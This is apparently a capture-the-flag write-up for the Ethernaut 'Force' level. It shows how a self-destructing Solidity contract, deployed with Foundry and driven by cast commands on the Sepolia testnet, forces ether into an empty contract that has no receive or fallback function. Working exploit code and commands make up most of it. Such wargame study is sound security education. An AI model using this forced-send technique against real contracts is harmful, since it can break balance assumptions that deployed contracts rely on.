Force - The Ethernaut - Writeup
Some contracts will simply not take your money
¯\_(ツ)_/¯The goal of this level is to make the balance of the contract greater than zero.
And the contract’s code is…
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
An empty contract!
First, we need to get an instance for the challenge:
-
After connecting our Metamask wallet, click on “Get New Instance”:

-
After approving the transaction, the contract address will be shown in the browser’s javascript console:

So, we need to send some money to the empty contract. However, it does not implement receive() nor fallback(). I came accross to this Ethereum StackExchange question and got to know the selfdestruction ability of contracts!
One of the OPCODES that the EVM implements is the SELFDESTRUCT one. This removes a contract’s code and storage from the blockchain and sends its remaining ether to a specified address. Most importantly, the receiving address cannot refuse to get that ether. This is an example of the simplest self-destructible contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
function destroy(address _to) public {
selfdestruct(payable(_to));
}
receive() external payable {} // Add this function to make the contract easily payable
}
Let’s use foundry to deploy the contract. Write the exploit contract in the file src/Exploit.sol, and write this to script/Exploit.s.sol to deploy it:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/Exploit.sol";
contract ExploitScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
Exploit exploit = new Exploit();
vm.stopBroadcast();
}
}
Now, execute these commands to compile the project and deploy the malicious contract:
forge build
forge script script/Exploit.s.sol --rpc-url $SEPOLIA_RPC_URL --broadcast --verify -vvvv

First, send some ether to our contract:
cast send 0x646B8c1B6390E8FE0aC53560C04928A26306bF6f --value 1 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
And now, destroy it:
cast send 0x646B8c1B6390E8FE0aC53560C04928A26306bF6f "destroy(address)" 0x849a7dd6e426fe961a00A5b34287524A00CbC0f4 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
Finally, check the balance of the target contract and it should be 1 wei:
cast balance 0x849a7dd6e426fe961a00A5b34287524A00CbC0f4 --rpc-url $SEPOLIA_RPC_URL

